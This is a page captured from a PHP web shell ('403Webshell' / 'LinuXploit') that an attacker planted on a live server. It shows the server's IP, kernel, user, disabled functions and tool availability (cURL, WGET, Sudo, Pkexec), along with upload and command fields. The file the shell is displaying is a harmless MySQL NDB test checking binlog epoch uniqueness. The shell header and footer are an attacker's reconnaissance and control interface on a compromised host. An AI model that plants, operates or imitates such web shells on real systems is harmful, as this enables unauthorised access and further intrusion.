403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.93.15
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_binlog/t/ndb_binlog_unique_epoch.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

--source include/have_ndb.inc
--source include/have_log_bin.inc
--source include/have_debug.inc

# Bug#35217 Strange ndb_binlog_index error inserting rows in MyISAM table
# Verify that mysql.ndb_binlog_index is getting unique epoch values
# Do this by dropping the PK, inserting some data and checking
# uniqueness
# 
alter table mysql.ndb_binlog_index drop primary key;

use test;

create table t1 (a int) engine=ndb;

delimiter %;
create procedure ins (rows int)
begin
  set @x = 0;
  repeat
    insert into t1 values (1);
    set @x = @x + 1;
  until @x = rows
  end repeat;
end%

delimiter ;%

call ins(10000);

# Did any of the epochs have > 1 entry?
# (Answer should be no !)
--echo Duplicate epochs according to mysql.ndb_binlog_index
select epoch >> 32 as gci, 
       (epoch << 32) >> 32 as ugci, 
       sum(1) as count 
from mysql.ndb_binlog_index 
group by epoch 
having count > 1;

# Now look at what's in the Binlog events themselves, in case they also
# carry duplicate epochs
#
# Code here similar to ndb_binlog_get_binlog_stmts.inc
#
--disable_query_log
let $MYSQLD_DATADIR= `select @@datadir;`;
--exec $MYSQL_BINLOG --verbose $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql

create table raw_binlog_rows (txt varchar(1000));

--eval load data local infile '$MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql' into table raw_binlog_rows columns terminated by '\n';

create table binlog_stmt_parts_unassoc (txt varchar(1000), line_count int, stmt_boundary int);

set @line_count=0;
set @stmt_boundary=0;

# Use replace() here to get rid of any unwanted Windows
# CRs
insert into binlog_stmt_parts_unassoc
  select replace(txt, '\r', ''),
         @line_count:= @line_count + 1,  # So we can preserve order later
         (txt like '%INSERT%' or         # Identify statement boundaries
          txt like '%UPDATE%' or
          txt like '%DELETE%')
    from raw_binlog_rows
    where
      txt like '###%';                   # Discard non verbose output

create table binlog_stmt_parts_assoc (txt varchar(1000), line_count int, stmt_num int);

set @stmt_count = 0;

insert into binlog_stmt_parts_assoc
  select txt, 
         line_count, 
         @stmt_count:= @stmt_count + stmt_boundary   # All rows from same stmt will
                                                     # have same stmt_num
    from binlog_stmt_parts_unassoc order by line_count;

create table binlog_stmts (txt varchar(1000), stmt_num int);

insert into binlog_stmts 
  select group_concat(right(txt,             # Combine rows in statment into 1
                            length(txt) - 4) # Trim ### from line start
                      order by line_count
                      separator ' '), stmt_num
    from binlog_stmt_parts_assoc
    group by stmt_num;


create table epochs_in_binlog (epoch bigint);

# Trim INSERT INTO mysql.ndb_apply_status SET   @1=1   @2=144115213845659648   @3=''   @4=0   @5=0
# down to a list of epochs
#
insert into epochs_in_binlog
  select substring_index(right(txt, length(txt) - instr(txt, '@2=') - 3),' ', 1) 
         from binlog_stmts
         where txt like '%ndb_apply_status%' 
         order by txt;

--enable_query_log
--echo Duplicate epochs according to MySQLD Binlog entries
select  epoch >> 32 as gci, 
       (epoch << 32) >> 32 as ugci, 
       sum(1) as count 
from epochs_in_binlog
group by epoch
having count > 1;

--disable_query_log
drop table raw_binlog_rows;
drop table binlog_stmt_parts_unassoc;
drop table binlog_stmt_parts_assoc;
drop table binlog_stmts;
drop table epochs_in_binlog;
--enable_query_log

# Now cleanup

reset master;
alter table mysql.ndb_binlog_index add primary key (epoch, orig_server_id, orig_epoch);

drop procedure ins;
drop table t1;

Youez - 2016 - github.com/yon3zu
LinuXploit